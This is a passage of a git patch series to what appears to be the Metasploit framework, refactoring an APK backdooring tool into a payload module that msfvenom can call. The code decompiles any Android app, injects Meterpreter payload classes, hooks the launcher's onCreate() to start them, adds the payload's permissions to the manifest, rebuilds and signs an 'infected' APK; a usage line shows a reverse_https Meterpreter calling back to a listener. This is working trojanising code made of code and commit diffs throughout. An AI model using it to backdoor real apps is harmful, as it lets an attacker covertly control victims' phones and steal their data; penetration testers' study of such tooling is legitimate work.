require 'open3' +def usage + $stderr.puts "Usage: #{$0} [target.apk] [msfvenom options]\n" + $stderr.puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" +end def run_cmd(cmd) begin @@ -142,8 +146,7 @@ end apkfile = ARGV[0] unless apkfile && File.readable?(apkfile) - $stderr.puts "Usage: #{$0} [target.apk] [msfvenom options]\n" - $stderr.puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" + usage exit(1) end @@ -173,9 +176,8 @@ begin opts+=" " } rescue - $stderr.puts "Usage: #{$0} [target.apk] [msfvenom options]\n" - $stderr.puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" $stderr.puts "[-] Error parsing msfvenom options. Exiting.\n" + usage exit(1) end @@ -183,7 +185,7 @@ end tempdir = Dir.mktmpdir print "[*] Generating msfvenom payload..\n" -msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "msfvenom")) +msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..", "msfvenom")) res = run_cmd("#{msfvenom_path} -f raw #{opts} -o #{tempdir}/payload.apk 2>&1") if res.downcase.include?("error") $stderr.puts res @@ -230,14 +232,14 @@ payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/ hookedsmali = activitysmali.gsub(activitycreate, payloadhook) print "[*] Loading ",smalifile," and injecting payload..\n" File.open(smalifile, "wb") {|file| file.puts hookedsmali } -injected_apk=apkfile.split(".")[0] + "_backdoored.apk" +injected_apk = apkfile.sub('.apk', '_backdoored.apk') print "[*] Poisoning the manifest with meterpreter permissions..\n" fix_manifest(tempdir) -print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n" +print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") -print "[*] Signing #{injected_apk} ..\n" +print "[*] Signing #{injected_apk}\n" run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") FileUtils.remove_entry tempdir From d2cc32a38942c73f03818f6fcf606c6449615bf7 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 22 Dec 2015 14:37:57 +0000 Subject: [PATCH 10/15] integrate apk_backdoor with msfvenom --- lib/msf/core/payload_generator.rb | 11 +- tools/exploit/apk_backdoor.rb | 197 ++++++++++++++++-------------- 2 files changed, 110 insertions(+), 98 deletions(-) diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index b4c436e561..3a209a41dc 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -305,9 +305,14 @@ module Msf # @return [String] A string containing the bytes of the payload in the format selected def generate_payload if platform == "java" or arch == "java" or payload.start_with? "java/" - p = generate_java_payload - cli_print "Payload size: #{p.length} bytes" - p + raw_payload = generate_java_payload + cli_print "Payload size: #{raw_payload.length} bytes" + raw_payload + elsif payload.start_with? "android/" + cli_print "Using template: #{template}" + raw_payload = generate_raw_payload + cli_print "Payload size: #{raw_payload.length} bytes" + raw_payload else raw_payload = generate_raw_payload raw_payload = add_shellcode(raw_payload) diff --git a/tools/exploit/apk_backdoor.rb b/tools/exploit/apk_backdoor.rb index c0d461d6d6..fd6e2ca56d 100755 --- a/tools/exploit/apk_backdoor.rb +++ b/tools/exploit/apk_backdoor.rb @@ -144,105 +144,112 @@ def fix_manifest(tempdir) File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani } end -apkfile = ARGV[0] -unless apkfile && File.readable?(apkfile) - usage - exit(1) -end - -jarsigner = run_cmd("jarsigner") -unless jarsigner != nil - $stderr.puts "[-] jarsigner not found. If it's not in your PATH, please add it.\n" - exit(1) -end - -apktool = run_cmd("apktool -version") -unless apktool != nil - $stderr.puts "[-] apktool not found. If it's not in your PATH, please add it.\n" - exit(1) -end - -apk_v = Gem::Version.new(apktool) -unless apk_v >= Gem::Version.new('2.0.1') - $stderr.puts "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" - exit(1) -end - -begin - msfvenom_opts = ARGV[1,ARGV.length] - opts="" - msfvenom_opts.each{|x| - opts+=x - opts+=" " - } -rescue - $stderr.puts "[-] Error parsing msfvenom options. Exiting.\n" - usage - exit(1) -end - -#Create temporary directory where work will be done -tempdir = Dir.mktmpdir - -print "[*] Generating msfvenom payload..\n" -msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..", "msfvenom")) -res = run_cmd("#{msfvenom_path} -f raw #{opts} -o #{tempdir}/payload.apk 2>&1") -if res.downcase.include?("error") - $stderr.puts res - exit(1) -end - -print "[*] Signing payload..\n" -run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{tempdir}/payload.apk androiddebugkey") - -run_cmd("cp #{apkfile} #{tempdir}/original.apk") - -print "[*] Decompiling orignal APK..\n" -run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") -print "[*] Decompiling payload APK..\n" -run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") - -f = File.open("#{tempdir}/original/AndroidManifest.xml") -amanifest = Nokogiri::XML(f) -f.close - -print "[*] Locating onCreate() hook..\n" - -launcheractivity = find_launcher_activity(amanifest) -smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" -begin - activitysmali = File.read(smalifile) -rescue Errno::ENOENT - print "[!] Unable to find correct hook automatically\n" - begin - results=scrape_files_for_launcher_activity(tempdir) - smalifile=results[0] - activitysmali=results[1] - rescue - $stderr.puts "[-] Error finding launcher activity. Exiting" +def backdoor_payload(apkfile, raw_payload) + unless apkfile && File.readable?(apkfile) + usage exit(1) end + + jarsigner = run_cmd("jarsigner") + unless jarsigner != nil + $stderr.puts "[-] jarsigner not found. If it's not in your PATH, please add it.\n" + exit(1) + end + + apktool = run_cmd("apktool -version") + unless apktool != nil + $stderr.puts "[-] apktool not found. If it's not in your PATH, please add it.\n" + exit(1) + end + + apk_v = Gem::Version.new(apktool) + unless apk_v >= Gem::Version.new('2.0.1') + $stderr.puts "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" + exit(1) + end + + #Create temporary directory where work will be done + tempdir = Dir.mktmpdir + + File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload } + FileUtils.cp apkfile, "#{tempdir}/original.apk" + + print "[*] Decompiling original APK..\n" + run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") + print "[*] Decompiling payload APK..\n" + run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") + + f = File.open("#{tempdir}/original/AndroidManifest.xml") + amanifest = Nokogiri::XML(f) + f.close + + print "[*] Locating onCreate() hook..\n" + + launcheractivity = find_launcher_activity(amanifest) + smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" + begin + activitysmali = File.read(smalifile) + rescue Errno::ENOENT + print "[!] Unable to find correct hook automatically\n" + begin + results=scrape_files_for_launcher_activity(tempdir) + smalifile=results[0] + activitysmali=results[1] + rescue + $stderr.puts "[-] Error finding launcher activity. Exiting" + exit(1) + end + end + + print "[*] Copying payload files..\n" + FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") + FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" + activitycreate = ';->onCreate(Landroid/os/Bundle;)V' + payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" + hookedsmali = activitysmali.gsub(activitycreate, payloadhook) + print "[*] Loading ",smalifile," and injecting payload..\n" + File.open(smalifile, "wb") {|file| file.puts hookedsmali } + injected_apk = apkfile.sub('.apk', '_backdoored.apk') + + print "[*] Poisoning the manifest with meterpreter permissions..\n" + fix_manifest(tempdir) + + print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" + run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") + print "[*] Signing #{injected_apk}\n" + run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") + + FileUtils.remove_entry tempdir + + puts "[+] Infected file #{injected_apk} ready.\n" end -print "[*] Copying payload files..\n" -FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") -FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" -activitycreate = ';->onCreate(Landroid/os/Bundle;)V' -payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" -hookedsmali = activitysmali.gsub(activitycreate, payloadhook) -print "[*] Loading ",smalifile," and injecting payload..\n" -File.open(smalifile, "wb") {|file| file.puts hookedsmali } -injected_apk = apkfile.sub('.apk', '_backdoored.apk') +if __FILE__ == $0 + begin + msfvenom_opts = ARGV[1,ARGV.length] + opts="" + msfvenom_opts.each{|x| + opts+=x + opts+=" " + } + rescue + $stderr.puts "[-] Error parsing msfvenom options. Exiting.\n" + usage + exit(1) + end -print "[*] Poisoning the manifest with meterpreter permissions..\n" -fix_manifest(tempdir) + print "[*] Generating msfvenom payload..\n" + msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..", "msfvenom")) + msfvenom_command = "#{msfvenom_path} -f raw #{opts}" + begin + stdin, stdout, stderr = Open3.popen3(msfvenom_command) + payload = stdout.read + msfvenom_output = stderr.read + backdoor_payload(ARGV[0], payload) + rescue Errno::ENOENT + $stderr.puts msfvenom_output + exit(1) + end -print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" -run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") -print "[*] Signing #{injected_apk}\n" -run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") - -FileUtils.remove_entry tempdir - -puts "[+] Infected file #{injected_apk} ready.\n" +end From 662a6dfd53f0c3d72dbec3b21cee0e1211ff2d8a Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 22 Dec 2015 14:47:55 +0000 Subject: [PATCH 11/15] =?UTF-8?q?=C2=AF\=5F(=E3=83=84)=5F/=C2=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- lib/msf/core/payload/apk.rb | 225 ++++++++++++++++++++++++++++++ lib/msf/core/payload_generator.rb | 2 + 2 files changed, 227 insertions(+) create mode 100644 lib/msf/core/payload/apk.rb diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb new file mode 100644 index 0000000000..bdfdb4421d --- /dev/null +++ b/lib/msf/core/payload/apk.rb @@ -0,0 +1,225 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'tmpdir' +require 'nokogiri' +require 'fileutils' +require 'optparse' +require 'open3' + +module Msf::Payload::Apk + + def usage + print_error "Usage: #{$0} [target.apk] [msfvenom options]\n" + print_error "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" + end + + def run_cmd(cmd) + begin + stdin, stdout, stderr = Open3.popen3(cmd) + return stdout.read + stderr.read + rescue Errno::ENOENT + return nil + end + end + + # Find the activity that is opened when you click the app icon + def find_launcher_activity(amanifest) + package = amanifest.xpath("//manifest").first['package'] + activities = amanifest.xpath("//activity|//activity-alias") + for activity in activities + activityname = activity.attribute("name") + category = activity.search('category') + unless category + next + end + for cat in category + categoryname = cat.attribute('name') + if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') + activityname = activityname.to_s + unless activityname.start_with?(package) + activityname = package + activityname + end + return activityname + end + end + end + end + + # If XML parsing of the manifest fails, recursively search + # the smali code for the onCreate() hook and let the user + # pick the injection point + + def scrape_files_for_launcher_activity(tempdir) + smali_files||=[] + Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file| + checkFile=File.read(file) + if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") + smali_files << file + smalifile = file + activitysmali = checkFile + end + end + i=0 + print_status "[*] Please choose from one of the following:\n" + smali_files.each{|s_file| + print_status "[+] Hook point ",i,": ",s_file,"\n" + i+=1 + } + hook=-1 + while (hook < 0 || hook>i) + print_status "\nHook: " + hook = STDIN.gets.chomp.to_i + end + i=0 + smalifile="" + activitysmali="" + smali_files.each{|s_file| + if (i==hook) + checkFile=File.read(s_file) + smalifile=s_file + activitysmali = checkFile + break + end + i+=1 + } + return [smalifile,activitysmali] + end + + def fix_manifest(tempdir) + payload_permissions=[] + + #Load payload's permissions + File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file| + k=File.read(file) + payload_manifest=Nokogiri::XML(k) + permissions = payload_manifest.xpath("//manifest/uses-permission") + for permission in permissions + name=permission.attribute("name") + payload_permissions << name.to_s + end + } + + original_permissions=[] + apk_mani="" + + #Load original apk's permissions + File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2| + k=File.read(file2) + apk_mani=k + original_manifest=Nokogiri::XML(k) + permissions = original_manifest.xpath("//manifest/uses-permission") + for permission in permissions + name=permission.attribute("name") + original_permissions << name.to_s + end + } + + #Get permissions that are not in original APK + add_permissions=[] + for permission in payload_permissions + if !(original_permissions.include? permission) + print_status "[*] Adding #{permission}\n" + add_permissions << permission + end + end + + inject=0 + new_mani="" + #Inject permissions in original APK's manifest + for line in apk_mani.split("\n") + if (line.include? "uses-permission" and inject==0) + for permission in add_permissions + new_mani << ''+"\n" + end + new_mani << line+"\n" + inject=1 + else + new_mani << line+"\n" + end + end + File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani } + end + + def backdoor_payload(apkfile, raw_payload) + unless apkfile && File.readable?(apkfile) + usage + exit(1) + end + + jarsigner = run_cmd("jarsigner") + unless jarsigner != nil + print_error "[-] jarsigner not found. If it's not in your PATH, please add it.\n" + exit(1) + end + + apktool = run_cmd("apktool -version") + unless apktool != nil + print_error "[-] apktool not found. If it's not in your PATH, please add it.\n" + exit(1) + end + + apk_v = Gem::Version.new(apktool) + unless apk_v >= Gem::Version.new('2.0.1') + print_error "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" + exit(1) + end + + #Create temporary directory where work will be done + tempdir = Dir.mktmpdir + + File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload } + FileUtils.cp apkfile, "#{tempdir}/original.apk" + + print_status "[*] Decompiling original APK..\n" + run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") + print_status "[*] Decompiling payload APK..\n" + run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") + + f = File.open("#{tempdir}/original/AndroidManifest.xml") + amanifest = Nokogiri::XML(f) + f.close + + print_status "[*] Locating onCreate() hook..\n" + + launcheractivity = find_launcher_activity(amanifest) + smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" + begin + activitysmali = File.read(smalifile) + rescue Errno::ENOENT + print_status "[!] Unable to find correct hook automatically\n" + begin + results=scrape_files_for_launcher_activity(tempdir) + smalifile=results[0] + activitysmali=results[1] + rescue + print_error "[-] Error finding launcher activity. Exiting" + exit(1) + end + end + + print_status "[*] Copying payload files..\n" + FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") + FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" + activitycreate = ';->onCreate(Landroid/os/Bundle;)V' + payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" + hookedsmali = activitysmali.gsub(activitycreate, payloadhook) + print_status "[*] Loading ",smalifile," and injecting payload..\n" + File.open(smalifile, "wb") {|file| file.puts hookedsmali } + injected_apk = apkfile.sub('.apk', '_backdoored.apk') + + print_status "[*] Poisoning the manifest with meterpreter permissions..\n" + fix_manifest(tempdir) + + print_status "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" + run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") + print_status "[*] Signing #{injected_apk}\n" + run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") + + FileUtils.remove_entry tempdir + + puts "[+] Infected file #{injected_apk} ready.\n" + end +end + + diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index 3a209a41dc..b051bbc97e 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'msf/core/payload/apk' require 'active_support/core_ext/numeric/bytes' module Msf @@ -310,6 +311,7 @@ module Msf raw_payload elsif payload.start_with? "android/" cli_print "Using template: #{template}" + raw_payload = generate_raw_payload cli_print "Payload size: #{raw_payload.length} bytes" raw_payload From eeea4bde9d68256b092e643caa3ed83538495ff3 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 22 Dec 2015 15:58:27 +0000 Subject: [PATCH 12/15] integrate ./msfvenom -x for android payloads --- lib/msf/core/payload/apk.rb | 98 ++++-------- lib/msf/core/payload_generator.rb | 6 +- tools/exploit/apk_backdoor.rb | 255 ------------------------------ 3 files changed, 36 insertions(+), 323 deletions(-) delete mode 100755 tools/exploit/apk_backdoor.rb diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index bdfdb4421d..107d70d5b7 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core' +require 'rex/text' require 'tmpdir' require 'nokogiri' require 'fileutils' @@ -9,6 +10,21 @@ require 'open3' module Msf::Payload::Apk + class ApkBackdoor + include Msf::Payload::Apk + def backdoor_apk(apk, payload) + backdoor_payload(apk, payload) + end + end + + def print_status(msg='') + $stderr.puts "[*] #{msg}" + end + + def print_error(msf='') + $stderr.puts "[-] #{msg}" + end + def usage print_error "Usage: #{$0} [target.apk] [msfvenom options]\n" print_error "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" @@ -46,46 +62,6 @@ module Msf::Payload::Apk end end - # If XML parsing of the manifest fails, recursively search - # the smali code for the onCreate() hook and let the user - # pick the injection point - - def scrape_files_for_launcher_activity(tempdir) - smali_files||=[] - Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file| - checkFile=File.read(file) - if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") - smali_files << file - smalifile = file - activitysmali = checkFile - end - end - i=0 - print_status "[*] Please choose from one of the following:\n" - smali_files.each{|s_file| - print_status "[+] Hook point ",i,": ",s_file,"\n" - i+=1 - } - hook=-1 - while (hook < 0 || hook>i) - print_status "\nHook: " - hook = STDIN.gets.chomp.to_i - end - i=0 - smalifile="" - activitysmali="" - smali_files.each{|s_file| - if (i==hook) - checkFile=File.read(s_file) - smalifile=s_file - activitysmali = checkFile - break - end - i+=1 - } - return [smalifile,activitysmali] - end - def fix_manifest(tempdir) payload_permissions=[] @@ -119,7 +95,7 @@ module Msf::Payload::Apk add_permissions=[] for permission in payload_permissions if !(original_permissions.include? permission) - print_status "[*] Adding #{permission}\n" + print_status("Adding #{permission}") add_permissions << permission end end @@ -149,19 +125,19 @@ module Msf::Payload::Apk jarsigner = run_cmd("jarsigner") unless jarsigner != nil - print_error "[-] jarsigner not found. If it's not in your PATH, please add it.\n" + print_error("jarsigner not found. If it's not in your PATH, please add it.") exit(1) end apktool = run_cmd("apktool -version") unless apktool != nil - print_error "[-] apktool not found. If it's not in your PATH, please add it.\n" + print_error "apktool not found. If it's not in your PATH, please add it." exit(1) end apk_v = Gem::Version.new(apktool) unless apk_v >= Gem::Version.new('2.0.1') - print_error "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" + print_error "apktool version #{apk_v} not supported, please download at least version 2.0.1." exit(1) end @@ -171,54 +147,46 @@ module Msf::Payload::Apk File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload } FileUtils.cp apkfile, "#{tempdir}/original.apk" - print_status "[*] Decompiling original APK..\n" + print_status "Decompiling original APK..\n" run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") - print_status "[*] Decompiling payload APK..\n" + print_status "Decompiling payload APK..\n" run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") f = File.open("#{tempdir}/original/AndroidManifest.xml") amanifest = Nokogiri::XML(f) f.close - print_status "[*] Locating onCreate() hook..\n" + print_status "Locating onCreate() hook..\n" launcheractivity = find_launcher_activity(amanifest) smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" begin activitysmali = File.read(smalifile) rescue Errno::ENOENT - print_status "[!] Unable to find correct hook automatically\n" - begin - results=scrape_files_for_launcher_activity(tempdir) - smalifile=results[0] - activitysmali=results[1] - rescue - print_error "[-] Error finding launcher activity. Exiting" - exit(1) - end + print_status "Unable to find correct hook automatically\n" + exit end - print_status "[*] Copying payload files..\n" + print_status "Copying payload files..\n" FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" activitycreate = ';->onCreate(Landroid/os/Bundle;)V' payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" hookedsmali = activitysmali.gsub(activitycreate, payloadhook) - print_status "[*] Loading ",smalifile," and injecting payload..\n" + print_status "Loading #{smalifile} and injecting payload..\n" File.open(smalifile, "wb") {|file| file.puts hookedsmali } - injected_apk = apkfile.sub('.apk', '_backdoored.apk') - - print_status "[*] Poisoning the manifest with meterpreter permissions..\n" + injected_apk = "#{tempdir}/output.apk" + print_status "Poisoning the manifest with meterpreter permissions..\n" fix_manifest(tempdir) - print_status "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" + print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") - print_status "[*] Signing #{injected_apk}\n" + print_status "Signing #{injected_apk}\n" run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") + outputapk = File.read(injected_apk) + rescue FileUtils.remove_entry tempdir - - puts "[+] Infected file #{injected_apk} ready.\n" end end diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index b051bbc97e..11434d52e4 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -310,9 +310,9 @@ module Msf cli_print "Payload size: #{raw_payload.length} bytes" raw_payload elsif payload.start_with? "android/" - cli_print "Using template: #{template}" - - raw_payload = generate_raw_payload + cli_print "Using APK template: #{template}" + apk_backdoor = ::Msf::Payload::Apk::ApkBackdoor::new() + raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload) cli_print "Payload size: #{raw_payload.length} bytes" raw_payload else diff --git a/tools/exploit/apk_backdoor.rb b/tools/exploit/apk_backdoor.rb deleted file mode 100755 index fd6e2ca56d..0000000000 --- a/tools/exploit/apk_backdoor.rb +++ /dev/null @@ -1,255 +0,0 @@ -#!/usr/bin/env ruby -# -# This script is a POC for injecting metasploit payloads on -# arbitrary APKs. -# Authored by timwr, Jack64 -# - -require 'tmpdir' -require 'nokogiri' -require 'fileutils' -require 'optparse' -require 'open3' - -def usage - $stderr.puts "Usage: #{$0} [target.apk] [msfvenom options]\n" - $stderr.puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" -end - -def run_cmd(cmd) - begin - stdin, stdout, stderr = Open3.popen3(cmd) - return stdout.read + stderr.read - rescue Errno::ENOENT - return nil - end -end - - -# Find the activity that is opened when you click the app icon -def find_launcher_activity(amanifest) - package = amanifest.xpath("//manifest").first['package'] - activities = amanifest.xpath("//activity|//activity-alias") - for activity in activities - activityname = activity.attribute("name") - category = activity.search('category') - unless category - next - end - for cat in category - categoryname = cat.attribute('name') - if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') - activityname = activityname.to_s - unless activityname.start_with?(package) - activityname = package + activityname - end - return activityname - end - end - end -end - -# If XML parsing of the manifest fails, recursively search -# the smali code for the onCreate() hook and let the user -# pick the injection point - -def scrape_files_for_launcher_activity(tempdir) - smali_files||=[] - Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file| - checkFile=File.read(file) - if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") - smali_files << file - smalifile = file - activitysmali = checkFile - end - end - i=0 - print "[*] Please choose from one of the following:\n" - smali_files.each{|s_file| - print "[+] Hook point ",i,": ",s_file,"\n" - i+=1 - } - hook=-1 - while (hook < 0 || hook>i) - print "\nHook: " - hook = STDIN.gets.chomp.to_i - end - i=0 - smalifile="" - activitysmali="" - smali_files.each{|s_file| - if (i==hook) - checkFile=File.read(s_file) - smalifile=s_file - activitysmali = checkFile - break - end - i+=1 - } - return [smalifile,activitysmali] -end - -def fix_manifest(tempdir) - payload_permissions=[] - - #Load payload's permissions - File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file| - k=File.read(file) - payload_manifest=Nokogiri::XML(k) - permissions = payload_manifest.xpath("//manifest/uses-permission") - for permission in permissions - name=permission.attribute("name") - payload_permissions << name.to_s - end - } - - original_permissions=[] - apk_mani="" - - #Load original apk's permissions - File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2| - k=File.read(file2) - apk_mani=k - original_manifest=Nokogiri::XML(k) - permissions = original_manifest.xpath("//manifest/uses-permission") - for permission in permissions - name=permission.attribute("name") - original_permissions << name.to_s - end - } - - #Get permissions that are not in original APK - add_permissions=[] - for permission in payload_permissions - if !(original_permissions.include? permission) - print "[*] Adding #{permission}\n" - add_permissions << permission - end - end - - inject=0 - new_mani="" - #Inject permissions in original APK's manifest - for line in apk_mani.split("\n") - if (line.include? "uses-permission" and inject==0) - for permission in add_permissions - new_mani << ''+"\n" - end - new_mani << line+"\n" - inject=1 - else - new_mani << line+"\n" - end - end - File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani } -end - -def backdoor_payload(apkfile, raw_payload) - unless apkfile && File.readable?(apkfile) - usage - exit(1) - end - - jarsigner = run_cmd("jarsigner") - unless jarsigner != nil - $stderr.puts "[-] jarsigner not found. If it's not in your PATH, please add it.\n" - exit(1) - end - - apktool = run_cmd("apktool -version") - unless apktool != nil - $stderr.puts "[-] apktool not found. If it's not in your PATH, please add it.\n" - exit(1) - end - - apk_v = Gem::Version.new(apktool) - unless apk_v >= Gem::Version.new('2.0.1') - $stderr.puts "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" - exit(1) - end - - #Create temporary directory where work will be done - tempdir = Dir.mktmpdir - - File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload } - FileUtils.cp apkfile, "#{tempdir}/original.apk" - - print "[*] Decompiling original APK..\n" - run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") - print "[*] Decompiling payload APK..\n" - run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") - - f = File.open("#{tempdir}/original/AndroidManifest.xml") - amanifest = Nokogiri::XML(f) - f.close - - print "[*] Locating onCreate() hook..\n" - - launcheractivity = find_launcher_activity(amanifest) - smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" - begin - activitysmali = File.read(smalifile) - rescue Errno::ENOENT - print "[!] Unable to find correct hook automatically\n" - begin - results=scrape_files_for_launcher_activity(tempdir) - smalifile=results[0] - activitysmali=results[1] - rescue - $stderr.puts "[-] Error finding launcher activity. Exiting" - exit(1) - end - end - - print "[*] Copying payload files..\n" - FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") - FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" - activitycreate = ';->onCreate(Landroid/os/Bundle;)V' - payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" - hookedsmali = activitysmali.gsub(activitycreate, payloadhook) - print "[*] Loading ",smalifile," and injecting payload..\n" - File.open(smalifile, "wb") {|file| file.puts hookedsmali } - injected_apk = apkfile.sub('.apk', '_backdoored.apk') - - print "[*] Poisoning the manifest with meterpreter permissions..\n" - fix_manifest(tempdir) - - print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" - run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") - print "[*] Signing #{injected_apk}\n" - run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") - - FileUtils.remove_entry tempdir - - puts "[+] Infected file #{injected_apk} ready.\n" -end - -if __FILE__ == $0 - begin - msfvenom_opts = ARGV[1,ARGV.length] - opts="" - msfvenom_opts.each{|x| - opts+=x - opts+=" " - 